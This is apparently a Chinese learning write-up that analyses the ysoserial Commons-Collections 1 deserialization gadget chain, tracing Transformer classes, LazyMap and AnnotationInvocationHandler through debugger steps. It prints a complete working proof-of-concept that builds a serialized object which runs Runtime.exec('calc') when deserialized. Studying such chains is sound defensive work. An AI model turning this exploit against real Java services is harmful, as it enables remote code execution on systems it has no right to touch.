Ysoserial Commons-Collections 1分析

第一次分析cc链看了好几天,Java基础也不太好真的看吐了,基本所有知识都是从头开始学,感谢大哥支持解惑

什么是cc1

Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发.
而cc1就是利用common collections实现命令执行的一条调用链

java知识–Transformer接口

Transformer

Transformer是一个接口,任何implements它的类都要实现transform方法

image-20220510152521166

ConstantTransformer

ConstantTransformer类是一个implements了transformer和serializable的类,也就意味着这个类可以序列化、反序列化。

ConstantTransformer重写的transform方法会返回一个常量对象,首先是public构造器保存到iConstant,然后transform方法返回iConstant常量

image-20220510152955043

1
2
3
Transformer transformer=new ConstantTransformer(Runtime.getRuntime());
Object o=transformer.transform(new Object());
System.out.println(o.getClass().getName());

image-20220510153700723

单纯看这个好像确实没啥用

InvokerTransformer

InvokerTransformer算是cc1反序列化中比较重要的一个类了。

InvokerTransformer也是implements了transformer接口,看它的构造函数里面的参数内容可以看到非常像invoke方法所需要的

image-20220510154000700

然后看它的transform怎么写的:

image-20220510154042938

其实就是invoke的写法。先尝试把弹calc的反射代码通过InvokerTransformer写出来

1
2
3
4
5
6
InvokerTransformer it1=new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null});
Method method1 = (Method) it1.transform(Runtime.class);
InvokerTransformer it2=new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null});
Runtime method2= (Runtime) it2.transform(method1);
InvokerTransformer it3=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
it3.transform(method2);

其实写下来这几个InvokerTransformer之后我对invoke以及InvokerTransformer的构造方法了解更深一步,首先看第一行InvokerTransformer,目的是通过Class类的getmethod方法找到getRuntime方法,但是是谁的getRuntime方法呢?现在还没说。然后看构造方法传递的参数,第一个是方法名,第二个是class [] paramTypes,第三个是args,也就是说第一个参数是方法名,第二个参数是一个数组,数组内容是方法名(第一个参数传递的方法)参数的类型,第三个参数是实际要传递的参数。

在第二行调用完transform方法后,我们下断点调试看一下:

进到transform方法之后,由于传递的是Runtime.class,所以object input也就是runtime.class

image-20220510162427870

image-20220510162555732

这句话其实翻译过来就是找到Runtime下的getRuntime方法,后面的invoke也就是找到并返回这个方法

image-20220510162839787

第二个transformer和transform的结果就是调用了getRuntime()方法,类似getRuntime.invoke(Runtime,null),得到的是一个Runtime实例

第三个transformer和transform的结果就是getRuntime().exec(xxx),在transform方法中的形式是exec.invoke(Runtime,”calc”);

最终弹出来了计算器。

image-20220510170521661

ChainedTransformer

串连起来的transformer,分别调用各个transformer的transform方法,顺序调用。

image-20220510220207256

因为Object是迭代的,所以说第一个transformer.transform()之后的object作为第二个transformer.transform()的输入。

将上面的InvokerTransformer转为ChainedTransformer写法:

1
2
3
4
5
6
7
8
9
Transformer []transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer ct=new ChainedTransformer(transformers);
ct.transform(Object.class);
}

TransformedMap

TransformedMap的某些方法可以调用到ChainedTransformer的transform方法。

Map.Entry

Map的entrySet()方法返回一个实现Map.Entry接口的对象集合。集合中每个对象都是底层Map中一个特定的键/值对。通过这个集合的迭代器,获得每一个条目(唯一获取方式)的键或值并对值进行更改。

个人理解的话就是一个迭代器遍历map的每一个key/value对,通过Map.Entry entry对各个k/v进行getvalue、setvalue等操作。

debug一下setValue方法

image-20220510215740542

继续跟进checksetvalue方法,有意思的来了,跟到了transformedMap类中的checkSetValue方法,返回的是**valueTransformer.transform(value)**,而valueTransformer正是我们传入的ChainedTransformer,那么是不是就跟到了ChainedTransformer的transform方法中呢?

image-20220510215922292

image-20220510220105933

可以发现跟到了ChainedTransformer类中的transform方法。那么我们就可以使用TransformedMap类利用ChainedTransformer实现命令执行。

LazyMap

LazyMap 和 TransformedMap 类似,都来自于 Common-Collections 库,并继承 AbstractMapDecorator

LazyMap 的漏洞触发点和 TransformedMap 唯一的差别是,TransformedMap 是在写入元素的时候执行 transform,而 LazyMap 是在其 get 方法中执行的 factory.transform 。其实这也好理解,LazyMap 的作用是“懒加载”,在 get 找不到值的时候,它会调用 factory.transform 方法去获取一个值。

下面尝试使用LazyMap进行命令执行

image-20220512112902912

调试一下,跟进decorate方法

image-20220512112926608

然后是get方法

image-20220512113034056

get的意思是如果找不到key的话,则会调用factory的transform方法,factory是我们传入的ChainedTransformer。

image-20220512113135853

那么在这个过程中就自动调用了ChainedTransformer.transform()方法,执行了我们想要的命令。

构造调用链

目前知道的是通过ChainedTransformer的transform方法可以直接命令执行,但是肯定不能让服务器端手动执行的,目标是找到一个在反序列化过程中,通过某些中间调用过程一步步调用到ChainedTransformer.transform()方法,下面将一步步分析。

LazyMap.get()->ChainedTransformer.transform()

上面在说lazyMap的时候已经提到了,这里再重复一下代码

1
2
3
4
5
6
7
8
9
10
Transformer []transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer ct=new ChainedTransformer(transformers);
Map in=new HashMap();
Map out= LazyMap.decorate(in,ct);
out.get(null);

这样通过lazyMap.get()方法可以命令执行了,下面需要找的是怎么能跳转到LazyMap.get()方法

AnnotationInvocationHandler.invoke()->LazyMap.get()

AnnotationInvocationHandler implement了 InvocationHandler和Serializable接口,意味着它是一个调用处理器并且可以反序列化,重写了invoke()方法

接下来看AnnotationInvocationHandler的invoke方法怎么写的:

image-20220512203640205

注意看构造器中的membervalues是一个map,是我们可控的,同时invoke方法在检测到method.getName()不是toString、hashCode、annotationType时会调用memberValues的get方法,这正是我们需要找的利用点。现在需要做的是怎么才能到AnnotationInvocationHandler.invoke()这个方法?

AnnotationInvocationHandler.readObject()->memberValues.entrySet()->AnnotationInvocationHandler.invoke()

image-20220513131237995

当调用动态代理代理对象的任意方法的时候,都会触发代理类重写的invoke方法,那么在AnnotationInvocationHandler.readObject()中调用了 memberValues.entrySet()方法,那么当前的memberValues也就是evilmap,调用了这个代理map的某个方法(**entrySet()),所以会转到代理类(AnnotationInvocationHandler)重写的invoke()**方法中去.

完整代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package ysoserial.test;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class cc1Test {

public static void main(String[] args) throws Exception {
//构造transformer
Transformer []transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer ct=new ChainedTransformer(transformers);
//构造map
Map in=new HashMap();
Map out= LazyMap.decorate(in,ct);
//通过反射获取AnnotationInvocationHandler实例
Constructor ctr=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
ctr.setAccessible(true);
//构造反序列化需要用到的ChainedTransformer,放到map里面
InvocationHandler handler= (InvocationHandler) ctr.newInstance(Override.class,out);
//代理类,用于触发反序列化
Map testmap=new HashMap();
Map evilmap= (Map) Proxy.newProxyInstance(testmap.getClass().getClassLoader(), testmap.getClass().getInterfaces(),handler);
handler= (InvocationHandler) ctr.newInstance(Override.class, evilmap);
//序列化与反序列化
byte[] serializeData=serialize(handler);
unserialize(serializeData);
}
public static byte[] serialize(final Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}
public static Object unserialize(final byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
return objIn.readObject();
}
}

那么整体调用链如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ObjectInputStream.readObject()//服务器读取对象
AnnotationInvocationHandler.readObject()//转到AnnotationInvocationHandler对象的readObject()方法
Map(Proxy).entrySet()//用于触发代理类对象的invoke()
AnnotationInvocationHandler.invoke()
LazyMap.get()//用于触发memberValues.get(member)
ChainedTransformer.transform()//层级调用进行命令执行
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

image-20220510170521661

参考

https://www.freebuf.com/sectool/320360.html

https://zhuanlan.zhihu.com/p/349838623

https://www.bilibili.com/video/BV1no4y1U7E1?spm_id_from=333.337.search-card.all.click